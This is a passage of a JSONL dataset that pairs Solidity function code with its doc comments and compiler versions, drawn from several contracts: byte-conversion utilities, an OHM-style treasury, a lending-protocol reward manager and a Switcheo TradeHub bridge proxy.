0x20), 0x00)\r\n }\r\n default {\r\n mstore(add(buff, 0x20), shl(248, 0x01))\r\n // mstore8(add(buff, 0x20), 0x01)\r\n }\r\n mstore(0x40, add(buff, 0x21))\r\n }\r\n return buff;\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert uint8 value into bytes\r\n * @param v The uint8 value\r\n * @return Converted bytes array\r\n */", "function_code": "function WriteUint8(uint8 v) internal pure returns (bytes memory) {\r\n bytes memory buff;\r\n assembly{\r\n buff := mload(0x40)\r\n mstore(buff, 1)\r\n mstore(add(buff, 0x20), shl(248, v))\r\n // mstore(add(buff, 0x20), byte(0x1f, v))\r\n mstore(0x40, add(buff, 0x21))\r\n }\r\n return buff;\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert uint16 value into bytes\r\n * @param v The uint16 value\r\n * @return Converted bytes array\r\n */", "function_code": "function WriteUint16(uint16 v) internal pure returns (bytes memory) {\r\n bytes memory buff;\r\n\r\n assembly{\r\n buff := mload(0x40)\r\n let byteLen := 0x02\r\n mstore(buff, byteLen)\r\n for {\r\n let mindex := 0x00\r\n let vindex := 0x1f\r\n } lt(mindex, byteLen) {\r\n mindex := add(mindex, 0x01)\r\n vindex := sub(vindex, 0x01)\r\n }{\r\n mstore8(add(add(buff, 0x20), mindex), byte(vindex, v))\r\n }\r\n mstore(0x40, add(buff, 0x22))\r\n }\r\n return buff;\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert limited uint256 value into bytes\r\n * @param v The uint256 value\r\n * @return Converted bytes array\r\n */", "function_code": "function WriteUint255(uint256 v) internal pure returns (bytes memory) {\r\n require(v <= 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, \"Value exceeds uint255 range\");\r\n bytes memory buff;\r\n\r\n assembly{\r\n buff := mload(0x40)\r\n let byteLen := 0x20\r\n mstore(buff, byteLen)\r\n for {\r\n let mindex := 0x00\r\n let vindex := 0x1f\r\n } lt(mindex, byteLen) {\r\n mindex := add(mindex, 0x01)\r\n vindex := sub(vindex, 0x01)\r\n }{\r\n mstore8(add(add(buff, 0x20), mindex), byte(vindex, v))\r\n }\r\n mstore(0x40, add(buff, 0x40))\r\n }\r\n return buff;\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert the bytes array to bytes32 type, the bytes array length must be 32\r\n * @param _bs Source bytes array\r\n * @return bytes32\r\n */", "function_code": "function bytesToBytes32(bytes memory _bs) internal pure returns (bytes32 value) {\r\n require(_bs.length == 32, \"bytes length is not 32.\");\r\n assembly {\r\n // load 32 bytes from memory starting from position _bs + 0x20 since the first 0x20 bytes stores _bs length\r\n value := mload(add(_bs, 0x20))\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert bytes to uint256\r\n * @param _b Source bytes should have length of 32\r\n * @return uint256\r\n */", "function_code": "function bytesToUint256(bytes memory _bs) internal pure returns (uint256 value) {\r\n require(_bs.length == 32, \"bytes length is not 32.\");\r\n assembly {\r\n // load 32 bytes from memory starting from position _bs + 32\r\n value := mload(add(_bs, 0x20))\r\n }\r\n require(value <= 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, \"Value exceeds the range\");\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert uint256 to bytes\r\n * @param _b uint256 that needs to be converted\r\n * @return bytes\r\n */", "function_code": "function uint256ToBytes(uint256 _value) internal pure returns (bytes memory bs) {\r\n require(_value <= 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, \"Value exceeds the range\");\r\n assembly {\r\n // Get a location of some free memory and store it in result as\r\n // Solidity does for memory variables.\r\n bs := mload(0x40)\r\n // Put 0x20 at the first word, the length of bytes for uint256 value\r\n mstore(bs, 0x20)\r\n //In the next word, put value in bytes format to the next 32 bytes\r\n mstore(add(bs, 0x20), _value)\r\n // Update the free-memory pointer by padding our last write location to 32 bytes\r\n mstore(0x40, add(bs, 0x40))\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert bytes to address\r\n * @param _bs Source bytes: bytes length must be 20\r\n * @return Converted address from source bytes\r\n */", "function_code": "function bytesToAddress(bytes memory _bs) internal pure returns (address addr)\r\n {\r\n require(_bs.length == 20, \"bytes length does not match address\");\r\n assembly {\r\n // for _bs, first word store _bs.length, second word store _bs.value\r\n // load 32 bytes from mem[_bs+20], convert it into Uint160, meaning we take last 20 bytes as addr (address).\r\n addr := mload(add(_bs, 0x14))\r\n }\r\n\r\n }", "version": "0.6.12"} {"comment": "/* @notice Convert address to bytes\r\n * @param _addr Address need to be converted\r\n * @return Converted bytes from address\r\n */", "function_code": "function addressToBytes(address _addr) internal pure returns (bytes memory bs){\r\n assembly {\r\n // Get a location of some free memory and store it in result as\r\n // Solidity does for memory variables.\r\n bs := mload(0x40)\r\n // Put 20 (address byte length) at the first word, the length of bytes for uint256 value\r\n mstore(bs, 0x14)\r\n // logical shift left _a by 12 bytes, change _a from right-aligned to left-aligned\r\n mstore(add(bs, 0x20), shl(96, _addr))\r\n // Update the free-memory pointer by padding our last write location to 32 bytes\r\n mstore(0x40, add(bs, 0x40))\r\n }\r\n }", "version": "0.6.12"} {"comment": "/* @notice Check if the elements number of _signers within _keepers array is no less than _m\r\n * @param _keepers The array consists of serveral address\r\n * @param _signers Some specific addresses to be looked into\r\n * @param _m The number requirement paramter\r\n * @return True means containment, false meansdo do not contain.\r\n */", "function_code": "function containMAddresses(address[] memory _keepers, address[] memory _signers, uint _m) internal pure returns (bool){\r\n uint m = 0;\r\n for(uint i = 0; i < _signers.length; i++){\r\n for (uint j = 0; j < _keepers.length; j++) {\r\n if (_signers[i] == _keepers[j]) {\r\n m++;\r\n delete _keepers[j];\r\n }\r\n }\r\n }\r\n return m >= _m;\r\n }", "version": "0.6.12"} {"comment": "/* @notice TODO\r\n * @param key\r\n * @return\r\n */", "function_code": "function compressMCPubKey(bytes memory key) internal pure returns (bytes memory newkey) {\r\n require(key.length >= 67, \"key lenggh is too short\");\r\n newkey = slice(key, 0, 35);\r\n if (uint8(key[66]) % 2 == 0){\r\n newkey[2] = byte(0x02);\r\n } else {\r\n newkey[2] = byte(0x03);\r\n }\r\n return newkey;\r\n }", "version": "0.6.12"} {"comment": "/**\n @notice allow approved address to deposit an asset for OHM\n @param _amount uint\n @param _token address\n @param _profit uint\n @return send_ uint\n */", "function_code": "function deposit( uint _amount, address _token, uint _profit ) external returns ( uint send_ ) {\n require( isReserveToken[ _token ] || isLiquidityToken[ _token ], \"Not accepted\" );\n IERC20( _token ).safeTransferFrom( msg.sender, address(this), _amount );\n\n if ( isReserveToken[ _token ] ) {\n require( isReserveDepositor[ msg.sender ], \"Not approved\" );\n } else {\n require( isLiquidityDepositor[ msg.sender ], \"Not approved\" );\n }\n\n uint value = valueOf(_token, _amount);\n // mint OHM needed and store amount of rewards for distribution\n send_ = value.sub( _profit );\n IERC20Mintable( OHM ).mint( msg.sender, send_ );\n\n totalReserves = totalReserves.add( value );\n emit ReservesUpdated( totalReserves );\n\n emit Deposit( _token, _amount, value );\n }", "version": "0.7.5"} {"comment": "/**\n @notice allow approved address to burn OHM for reserves\n @param _amount uint\n @param _token address\n */", "function_code": "function withdraw( uint _amount, address _token ) external {\n require( isReserveToken[ _token ], \"Not accepted\" ); // Only reserves can be used for redemptions\n require( isReserveSpender[ msg.sender ] == true, \"Not approved\" );\n\n uint value = valueOf( _token, _amount );\n IOHMERC20( OHM ).burnFrom( msg.sender, value );\n\n totalReserves = totalReserves.sub( value );\n emit ReservesUpdated( totalReserves );\n\n IERC20( _token ).safeTransfer( msg.sender, _amount );\n\n emit Withdrawal( _token, _amount, value );\n }", "version": "0.7.5"} {"comment": "/**\n @notice allow approved address to borrow reserves\n @param _amount uint\n @param _token address\n */", "function_code": "function incurDebt( uint _amount, address _token ) external {\n require( isDebtor[ msg.sender ], \"Not approved\" );\n require( isReserveToken[ _token ], \"Not accepted\" );\n\n uint value = valueOf( _token, _amount );\n\n uint maximumDebt = IERC20( sOHM ).balanceOf( msg.sender ); // Can only borrow against sOHM held\n uint availableDebt = maximumDebt.sub( debtorBalance[ msg.sender ] );\n require( value <= availableDebt, \"Exceeds debt limit\" );\n\n debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].add( value );\n totalDebt = totalDebt.add( value );\n\n totalReserves = totalReserves.sub( value );\n emit ReservesUpdated( totalReserves );\n\n IERC20( _token ).transfer( msg.sender, _amount );\n\n emit CreateDebt( msg.sender, _token, _amount, value );\n }", "version": "0.7.5"} {"comment": "/**\n @notice allow approved address to repay borrowed reserves with OHM\n @param _amount uint\n */", "function_code": "function repayDebtWithOHM( uint _amount ) external {\n require( isDebtor[ msg.sender ], \"Not approved\" );\n\n IOHMERC20( OHM ).burnFrom( msg.sender, _amount );\n\n debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( _amount );\n totalDebt = totalDebt.sub( _amount );\n\n emit RepayDebt( msg.sender, OHM, _amount, _amount );\n }", "version": "0.7.5"} {"comment": "/**\n @notice allow approved address to withdraw assets\n @param _token address\n @param _amount uint\n */", "function_code": "function manage( address _token, uint _amount ) external {\n if( isLiquidityToken[ _token ] ) {\n require( isLiquidityManager[ msg.sender ], \"Not approved\" );\n } else {\n require( isReserveManager[ msg.sender ], \"Not approved\" );\n }\n\n uint value = valueOf(_token, _amount);\n require( value <= excessReserves(), \"Insufficient reserves\" );\n\n totalReserves = totalReserves.sub( value );\n emit ReservesUpdated( totalReserves );\n\n IERC20( _token ).safeTransfer( msg.sender, _amount );\n\n emit ReservesManaged( _token, _amount );\n }", "version": "0.7.5"} {"comment": "/**\n @notice takes inventory of all tracked assets\n @notice always consolidate to recognized reserves before audit\n */", "function_code": "function auditReserves() external onlyManager() {\n uint reserves;\n for( uint i = 0; i < reserveTokens.length; i++ ) {\n reserves = reserves.add (\n valueOf( reserveTokens[ i ], IERC20( reserveTokens[ i ] ).balanceOf( address(this) ) )\n );\n }\n for( uint i = 0; i < liquidityTokens.length; i++ ) {\n reserves = reserves.add (\n valueOf( liquidityTokens[ i ], IERC20( liquidityTokens[ i ] ).balanceOf( address(this) ) )\n );\n }\n totalReserves = reserves;\n emit ReservesUpdated( reserves );\n emit ReservesAudited( reserves );\n }", "version": "0.7.5"} {"comment": "/**\n @notice returns OHM valuation of asset\n @param _token address\n @param _amount uint\n @return value_ uint\n */", "function_code": "function valueOf( address _token, uint _amount ) public view returns ( uint value_ ) {\n if ( isReserveToken[ _token ] ) {\n // convert amount to match OHM decimals\n value_ = _amount.mul( 10 ** IERC20( OHM ).decimals() ).div( 10 ** IERC20( _token ).decimals() );\n } else if ( isLiquidityToken[ _token ] ) {\n value_ = IBondCalculator( bondCalculator[ _token ] ).valuation( _token, _amount );\n }\n }", "version": "0.7.5"} {"comment": "/**\n @notice checks requirements and returns altered structs\n @param queue_ mapping( address => uint )\n @param status_ mapping( address => bool )\n @param _address address\n @return bool\n */", "function_code": "function requirements(\n mapping( address => uint ) storage queue_,\n mapping( address => bool ) storage status_,\n address _address\n ) internal view returns ( bool ) {\n if ( !status_[ _address ] ) {\n require( queue_[ _address ] != 0, \"Must queue\" );\n require( queue_[ _address ] <= block.number, \"Queue not expired\" );\n return true;\n } return false;\n }", "version": "0.7.5"} {"comment": "/**\n @notice checks array to ensure against duplicate\n @param _list address[]\n @param _token address\n @return bool\n */", "function_code": "function listContains( address[] storage _list, address _token ) internal view returns ( bool ) {\n for( uint i = 0; i < _list.length; i++ ) {\n if( _list[ i ] == _token ) {\n return true;\n }\n }\n return false;\n }", "version": "0.7.5"} {"comment": "/**\r\n \t* @dev Set circuitBreak to freeze/unfreeze all handlers\r\n \t* @param _emergency The boolean status of circuitBreaker (on/off)\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function setCircuitBreaker(bool _emergency) onlyBreaker external override returns (bool)\r\n\t{\r\n\t\tfor (uint256 handlerID = 0; handlerID < tokenHandlerLength; handlerID++)\r\n\t\t{\r\n\t\t\tproxyContractInterface tokenHandler = proxyContractInterface(dataStorageInstance.getTokenHandlerAddr(handlerID));\r\n\r\n\t\t\t// use delegate call via handler proxy\r\n\t\t\t// for token handlers\r\n\t\t\tbytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\tmarketHandlerInterface\r\n\t\t\t\t.setCircuitBreaker.selector,\r\n\t\t\t\t_emergency\r\n\t\t\t);\r\n\r\n\t\t\ttokenHandler.handlerProxy(callData);\r\n\t\t\ttokenHandler.siProxy(callData);\r\n\t\t}\r\n\r\n\t\tliquidationManagerInterface liquidationManager = liquidationManagerInterface(dataStorageInstance.getLiquidationManagerAddr());\r\n\t\tliquidationManager.setCircuitBreaker(_emergency);\r\n\t\temergency = _emergency;\r\n\t\treturn true;\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Reward the user (msg.sender) with the reward token after calculating interest.\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function interestUpdateReward() external override returns (bool)\r\n\t{\r\n\t\tuint256 thisBlock = block.number;\r\n\t\tuint256 interestRewardUpdated = dataStorageInstance.getInterestRewardUpdated();\r\n\t\tuint256 delta = thisBlock - interestRewardUpdated;\r\n\t\tif (delta == 0)\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tdataStorageInstance.setInterestRewardUpdated(thisBlock);\r\n\t\tfor (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++)\r\n\t\t{\r\n\t\t\tproxyContractInterface tokenHandler = proxyContractInterface(dataStorageInstance.getTokenHandlerAddr(handlerID));\r\n\t\t\tbytes memory data;\r\n\t\t\t(, data) = tokenHandler.handlerProxy(\r\n\t\t\t\tabi.encodeWithSelector(\r\n\t\t\t\t\tmarketHandlerInterface\r\n\t\t\t\t\t.checkFirstAction.selector\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t}\r\n\r\n\t\t/* transfer reward tokens */\r\n\t\treturn _rewardTransfer(msg.sender, delta.mul(dataStorageInstance.getInterestUpdateRewardPerblock()));\r\n\t}", "version": "0.6.12"} {"comment": "/* TODO: comment */", "function_code": "function _claimHandlerRewardAmount(uint256 handlerID, address payable userAddr) internal returns (uint256) {\r\n\t\tbytes memory data;\r\n\r\n\t\tproxyContractInterface tokenHandler = proxyContractInterface(dataStorageInstance.getTokenHandlerAddr(handlerID));\r\n\t\ttokenHandler.siProxy(\r\n\t\t\tabi.encodeWithSelector(\r\n\t\t\t\tSIInterface\r\n\t\t\t\t.updateRewardLane.selector,\r\n\t\t\t\tuserAddr\r\n\t\t\t)\r\n\t\t);\r\n\r\n\t\t/* Claim reward for a token handler */\r\n\t\t(, data) = tokenHandler.siProxy(\r\n\t\t\tabi.encodeWithSelector(\r\n\t\t\t\tSIInterface.claimRewardAmountUser.selector,\r\n\t\t\t\tuserAddr\r\n\t\t\t)\r\n\t\t);\r\n\t\treturn abi.decode(data, (uint256));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Transfer reward tokens to a user\r\n \t* @param userAddr The address of recipient\r\n \t* @param _amount The amount of the reward token\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function _rewardTransfer(address payable userAddr, uint256 _amount) internal returns (bool)\r\n\t{\r\n\t\tIERC20 _rewardERC20 = rewardErc20Instance;\r\n\r\n\t\tif(address(_rewardERC20) != address(0x0)) {\r\n\t\t\tuint256 beforeBalance = _rewardERC20.balanceOf(userAddr);\r\n\t\t\t_rewardERC20.transfer(userAddr, _amount);\r\n\t\t\trequire(_amount == _rewardERC20.balanceOf(userAddr).sub(beforeBalance), REWARD_TRANSFER);\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Epilogue of _determineRewardParams for code-size savings\r\n \t* @param _dataStorage interface of Manager Data Storage\r\n \t* @param userAddr User Address for Reward token transfer\r\n \t* @param _delta The inactive period (delta) since the last action happens\r\n \t* @param _globalRewardPerBlock Reward per block\r\n \t* @param _globalRewardDecrement Rewards decrement for a block\r\n \t* @param _globalRewardTotalAmount Total amount of rewards\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function _epilogueOfDetermineRewardParams(\r\n\t\tmanagerDataStorageInterfaceForManager _dataStorage,\r\n\t\taddress payable userAddr,\r\n\t\tuint256 _delta,\r\n\t\tuint256 _globalRewardPerBlock,\r\n\t\tuint256 _globalRewardDecrement,\r\n\t\tuint256 _globalRewardTotalAmount\r\n\t) internal returns (bool) {\r\n // Set the reward model parameters\r\n _dataStorage.setGlobalRewardPerBlock(_globalRewardPerBlock);\r\n\t\t_dataStorage.setGlobalRewardDecrement(_globalRewardDecrement);\r\n\t\t_dataStorage.setGlobalRewardTotalAmount(_globalRewardTotalAmount);\r\n\r\n\t\tuint256 rewardAmount = _delta.mul(_dataStorage.getRewardParamUpdateRewardPerBlock());\r\n\t\t/* To incentivze the update operation, the operator get paid with the\r\n\t\treward token */\r\n\t\t_rewardTransfer(userAddr, rewardAmount);\r\n\t\treturn true;\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Update rewards paramters of token handlers.\r\n \t* @param userAddr The address of operator\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function _calcRewardParams(address payable userAddr) internal returns (bool)\r\n\t{\r\n\t\tuint256 handlerLength = tokenHandlerLength;\r\n\t\tbytes memory data;\r\n\t\tuint256[] memory handlerAlphaRateBaseAsset = new uint256[](handlerLength);\r\n\t\tuint256[] memory chainAlphaRateBaseAsset;\r\n\t\tuint256 handlerID;\r\n\t\tuint256 alphaRateBaseGlobalAssetSum;\r\n\t\tfor (handlerID; handlerID < handlerLength; handlerID++)\r\n\t\t{\r\n\t\t\thandlerAlphaRateBaseAsset[handlerID] = _getAlphaBaseAsset(handlerID);\r\n\t\t\talphaRateBaseGlobalAssetSum = alphaRateBaseGlobalAssetSum.add(handlerAlphaRateBaseAsset[handlerID]);\r\n\t\t}\r\n\r\n\t\tchainAlphaRateBaseAsset = observer.getAlphaBaseAsset();\r\n\t\thandlerID = 0;\r\n\t\tfor (;handlerID < chainAlphaRateBaseAsset.length; handlerID++) {\r\n\t\t\talphaRateBaseGlobalAssetSum = alphaRateBaseGlobalAssetSum.add(chainAlphaRateBaseAsset[handlerID]);\r\n\t\t}\r\n\r\n\t\thandlerID = 0;\r\n\t\tuint256 globalRewardPerBlocks = dataStorageInstance.getGlobalRewardPerBlock();\r\n\r\n\t\tfor (handlerID; handlerID < handlerLength; handlerID++)\r\n\t\t{\r\n\t\t\tproxyContractInterface tokenHandler = proxyContractInterface(dataStorageInstance.getTokenHandlerAddr(handlerID));\r\n\t\t\t(, data) = tokenHandler.siProxy(\r\n\t\t\t\tabi.encodeWithSelector(\r\n\t\t\t\t\tSIInterface\r\n\t\t\t\t\t.updateRewardLane.selector,\r\n\t\t\t\t\tuserAddr\r\n\t\t\t\t)\r\n\t\t\t);\r\n\r\n\t\t\t/* Update reward parameter for the token handler */\r\n\t\t\tuint256 rewardPerBlocks = globalRewardPerBlocks\r\n\t\t\t\t\t\t\t\t.unifiedMul(\r\n\t\t\t\t\t\t\t\thandlerAlphaRateBaseAsset[handlerID]\r\n\t\t\t\t\t\t\t\t.unifiedDiv(alphaRateBaseGlobalAssetSum)\r\n\t\t\t\t\t\t\t\t);\r\n\t\t\tdata = abi.encodeWithSelector(\r\n\t\t\t\tSIInterface.updateRewardPerBlockLogic.selector,\r\n\t\t\t\trewardPerBlocks\r\n\t\t\t);\r\n\t\t\t(, data) = tokenHandler.siProxy(data);\r\n\r\n\t\t\temit HandlerRewardUpdate(handlerID, handlerAlphaRateBaseAsset[handlerID], rewardPerBlocks);\r\n\t\t}\r\n\r\n\t\thandlerID = 0;\r\n\t\tfor (;handlerID < chainAlphaRateBaseAsset.length; handlerID++) {\r\n\t\t\tuint256 rewardPerBlocks = chainAlphaRateBaseAsset[handlerID]\r\n\t\t\t\t\t\t\t\t\t\t.unifiedDiv(alphaRateBaseGlobalAssetSum)\r\n\t\t\t\t\t\t\t\t\t\t.unifiedMul(globalRewardPerBlocks);\r\n\r\n\t\t\tobserver.setChainGlobalRewardPerblock(\r\n\t\t\t\thandlerID,\r\n\t\t\t\trewardPerBlocks\r\n\t\t\t);\r\n\t\t\temit ChainRewardUpdate(handlerID, chainAlphaRateBaseAsset[handlerID], rewardPerBlocks);\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Calculate the alpha-score for the handler (in USD price)\r\n \t* @param _handlerID The handler ID\r\n \t* @return The alpha-score of the handler\r\n \t*/", "function_code": "function _getAlphaBaseAsset(uint256 _handlerID) internal view returns (uint256)\r\n\t{\r\n\t\tbytes memory data;\r\n\t\tproxyContractInterface tokenHandler = proxyContractInterface(dataStorageInstance.getTokenHandlerAddr(_handlerID));\r\n\r\n // TODO merge call\r\n\t\t(, data) = tokenHandler.handlerViewProxy(\r\n\t\t\tabi.encodeWithSelector(\r\n\t\t\t\tmarketHandlerInterface\r\n\t\t\t\t.getDepositTotalAmount.selector\r\n\t\t\t)\r\n\t\t);\r\n\t\tuint256 _depositAmount = abi.decode(data, (uint256));\r\n\r\n\t\t(, data) = tokenHandler.handlerViewProxy(\r\n\t\t\tabi.encodeWithSelector(\r\n\t\t\t\tmarketHandlerInterface\r\n\t\t\t\t.getBorrowTotalAmount.selector\r\n\t\t\t)\r\n\t\t);\r\n\t\tuint256 _borrowAmount = abi.decode(data, (uint256));\r\n\r\n\t\treturn _calcAlphaBaseAmount(\r\n dataStorageInstance.getAlphaRate(),\r\n _depositAmount,\r\n _borrowAmount\r\n )\r\n .unifiedMul(_getTokenHandlerPrice(_handlerID));\r\n\t}", "version": "0.6.12"} {"comment": "/// @dev Calculate the wallet address for the given owner and Switcheo TradeHub address\n/// @param _ownerAddress the Ethereum address which the user has control over, i.e. can sign msgs with\n/// @param _swthAddress the hex value of the user's Switcheo TradeHub address\n/// @param _bytecodeHash the hash of the wallet contract's bytecode\n/// @return the wallet address", "function_code": "function getWalletAddress(\r\n address _ownerAddress,\r\n bytes calldata _swthAddress,\r\n bytes32 _bytecodeHash\r\n )\r\n external\r\n view\r\n returns (address)\r\n {\r\n bytes32 salt = _getSalt(\r\n _ownerAddress,\r\n _swthAddress\r\n );\r\n\r\n bytes32 data = keccak256(\r\n abi.encodePacked(bytes1(0xff), address(this), salt, _bytecodeHash)\r\n );\r\n\r\n return address(bytes20(data << 96));\r\n }", "version": "0.6.12"} {"comment": "/// @dev Add a contract as an extension\n/// @param _argsBz the serialized ExtensionTxArgs\n/// @param _fromChainId the originating chainId\n/// @return true if success", "function_code": "function addExtension(\r\n bytes calldata _argsBz,\r\n bytes calldata /* _fromContractAddr */,\r\n uint64 _fromChainId\r\n )\r\n external\r\n onlyManagerContract\r\n nonReentrant\r\n returns (bool)\r\n {\r\n require(_fromChainId == counterpartChainId, \"Invalid chain ID\");\r\n\r\n ExtensionTxArgs memory args = _deserializeExtensionTxArgs(_argsBz);\r\n address extensionAddress = Utils.bytesToAddress(args.extensionAddress);\r\n extensions[extensionAddress] = true;\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Remove a contract from the extensions mapping\n/// @param _argsBz the serialized ExtensionTxArgs\n/// @param _fromChainId the originating chainId\n/// @return true if success", "function_code": "function removeExtension(\r\n bytes calldata _argsBz,\r\n bytes calldata /* _fromContractAddr */,\r\n uint64 _fromChainId\r\n )\r\n external\r\n onlyManagerContract\r\n nonReentrant\r\n returns (bool)\r\n {\r\n require(_fromChainId == counterpartChainId, \"Invalid chain ID\");\r\n\r\n ExtensionTxArgs memory args = _deserializeExtensionTxArgs(_argsBz);\r\n address extensionAddress = Utils.bytesToAddress(args.extensionAddress);\r\n extensions[extensionAddress] = false;\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Marks an asset as registered by mapping the asset's address to\n/// the specified _fromContractAddr and assetHash on Switcheo TradeHub\n/// @param _argsBz the serialized RegisterAssetTxArgs\n/// @param _fromContractAddr the associated contract address on Switcheo TradeHub\n/// @param _fromChainId the originating chainId\n/// @return true if success", "function_code": "function registerAsset(\r\n bytes calldata _argsBz,\r\n bytes calldata _fromContractAddr,\r\n uint64 _fromChainId\r\n )\r\n external\r\n onlyManagerContract\r\n nonReentrant\r\n returns (bool)\r\n {\r\n require(_fromChainId == counterpartChainId, \"Invalid chain ID\");\r\n\r\n RegisterAssetTxArgs memory args = _deserializeRegisterAssetTxArgs(_argsBz);\r\n _markAssetAsRegistered(\r\n Utils.bytesToAddress(args.nativeAssetHash),\r\n _fromContractAddr,\r\n args.assetHash\r\n );\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Performs a deposit from a Wallet contract\n/// @param _walletAddress address of the wallet contract, the wallet contract\n/// does not receive ETH in this call, but _walletAddress still needs to be payable\n/// since the wallet contract can receive ETH, there would be compile errors otherwise\n/// @param _assetHash the asset to deposit\n/// @param _targetProxyHash the associated proxy hash on Switcheo TradeHub\n/// @param _toAssetHash the associated asset hash on Switcheo TradeHub\n/// @param _feeAddress the hex version of the Switcheo TradeHub address to send the fee to\n/// @param _values[0]: amount, the number of tokens to deposit\n/// @param _values[1]: feeAmount, the number of tokens to be used as fees\n/// @param _values[2]: nonce, to prevent replay attacks\n/// @param _values[3]: callAmount, some tokens may burn an amount before transfer\n/// so we allow a callAmount to support these tokens\n/// @param _v: the v value of the wallet owner's signature\n/// @param _rs: the r, s values of the wallet owner's signature", "function_code": "function lockFromWallet(\r\n address payable _walletAddress,\r\n address _assetHash,\r\n bytes calldata _targetProxyHash,\r\n bytes calldata _toAssetHash,\r\n bytes calldata _feeAddress,\r\n uint256[] calldata _values,\r\n uint8 _v,\r\n bytes32[] calldata _rs\r\n )\r\n external\r\n nonReentrant\r\n returns (bool)\r\n {\r\n require(wallets[_walletAddress], \"Invalid wallet address\");\r\n\r\n Wallet wallet = Wallet(_walletAddress);\r\n _validateLockFromWallet(\r\n wallet.owner(),\r\n _assetHash,\r\n _targetProxyHash,\r\n _toAssetHash,\r\n _feeAddress,\r\n _values,\r\n _v,\r\n _rs\r\n );\r\n\r\n // it is very important that this function validates the success of a transfer correctly\r\n // since, once this line is passed, the deposit is assumed to be successful\r\n // which will eventually result in the specified amount of tokens being minted for the\r\n // wallet.swthAddress on Switcheo TradeHub\r\n _transferInFromWallet(_walletAddress, _assetHash, _values[0], _values[3]);\r\n\r\n _lock(\r\n _assetHash,\r\n _targetProxyHash,\r\n _toAssetHash,\r\n wallet.swthAddress(),\r\n _values[0],\r\n _values[1],\r\n _feeAddress\r\n );\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Performs a deposit\n/// @param _assetHash the asset to deposit\n/// @param _targetProxyHash the associated proxy hash on Switcheo TradeHub\n/// @param _toAddress the hex version of the Switcheo TradeHub address to deposit to\n/// @param _toAssetHash the associated asset hash on Switcheo TradeHub\n/// @param _feeAddress the hex version of the Switcheo TradeHub address to send the fee to\n/// @param _values[0]: amount, the number of tokens to deposit\n/// @param _values[1]: feeAmount, the number of tokens to be used as fees\n/// @param _values[2]: callAmount, some tokens may burn an amount before transfer\n/// so we allow a callAmount to support these tokens", "function_code": "function lock(\r\n address _assetHash,\r\n bytes calldata _targetProxyHash,\r\n bytes calldata _toAddress,\r\n bytes calldata _toAssetHash,\r\n bytes calldata _feeAddress,\r\n uint256[] calldata _values\r\n )\r\n external\r\n payable\r\n nonReentrant\r\n returns (bool)\r\n {\r\n\r\n // it is very important that this function validates the success of a transfer correctly\r\n // since, once this line is passed, the deposit is assumed to be successful\r\n // which will eventually result in the specified amount of tokens being minted for the\r\n // _toAddress on Switcheo TradeHub\r\n _transferIn(_assetHash, _values[0], _values[2]);\r\n\r\n _lock(\r\n _assetHash,\r\n _targetProxyHash,\r\n _toAssetHash,\r\n _toAddress,\r\n _values[0],\r\n _values[1],\r\n _feeAddress\r\n );\r\n\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Performs a withdrawal that was initiated on Switcheo TradeHub\n/// @param _argsBz the serialized TransferTxArgs\n/// @param _fromContractAddr the associated contract address on Switcheo TradeHub\n/// @param _fromChainId the originating chainId\n/// @return true if success", "function_code": "function unlock(\r\n bytes calldata _argsBz,\r\n bytes calldata _fromContractAddr,\r\n uint64 _fromChainId\r\n )\r\n external\r\n onlyManagerContract\r\n nonReentrant\r\n returns (bool)\r\n {\r\n require(_fromChainId == counterpartChainId, \"Invalid chain ID\");\r\n\r\n TransferTxArgs memory args = _deserializeTransferTxArgs(_argsBz);\r\n require(args.fromAssetHash.length > 0, \"Invalid fromAssetHash\");\r\n require(args.toAssetHash.length == 20, \"Invalid toAssetHash\");\r\n\r\n address toAssetHash = Utils.bytesToAddress(args.toAssetHash);\r\n address toAddress = Utils.bytesToAddress(args.toAddress);\r\n\r\n _validateAssetRegistration(toAssetHash, _fromContractAddr, args.fromAssetHash);\r\n _transferOut(toAddress, toAssetHash, args.amount);\r\n\r\n emit UnlockEvent(toAssetHash, toAddress, args.amount, _argsBz);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "/// @dev Performs a transfer of funds, this is only callable by approved extension contracts\n/// the `nonReentrant` guard is intentionally not added to this function, to allow for more flexibility.\n/// The calling contract should be secure and have its own `nonReentrant` guard as needed.\n/// @param _receivingAddress the address to transfer to\n/// @param _assetHash the asset to transfer\n/// @param _amount the amount to transfer\n/// @return true if success", "function_code": "function extensionTransfer(\r\n address _receivingAddress,\r\n address _assetHash,\r\n uint256 _amount\r\n )\r\n external\r\n returns (bool)\r\n {\r\n require(\r\n extensions[msg.sender] == true,\r\n \"Invalid extension\"\r\n );\r\n\r\n if 